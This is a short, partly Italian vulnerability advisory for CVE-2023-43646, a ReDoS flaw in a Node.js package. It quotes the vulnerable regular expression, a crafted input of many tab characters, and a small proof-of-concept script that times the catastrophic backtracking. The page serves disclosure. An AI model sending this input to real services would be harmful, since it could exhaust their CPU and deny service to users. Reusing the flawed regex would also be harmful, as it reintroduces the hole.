CVE-2023-43646

Riepilogo della vulnerabilità

• CVE-2023-43646

• CVSS : 8.6

• Sep 26, 2023

• ReDoS nel pacchetto node.js

• Parte del progetto rebob

Descrizione della vulnerabilità

github advisories

/\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/

This vulnerability can be exploited when there is an imbalance in parentheses, which results in excessive backtracking and subsequently increases the CPU load and processing time significantly. This vulnerability can be triggered using the following input:

'\t'.repeat(54773) + '\t/function/i'

Here is a simple PoC code to demonstrate the issue:

const protocolre = /\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/;

const startTime = Date.now();
const maliciousInput = '\t'.repeat(54773) + '\t/function/i'

protocolre.test(maliciousInput);

const endTime = Date.now();

console.log("process time: ", endTime - startTime, "ms");

target package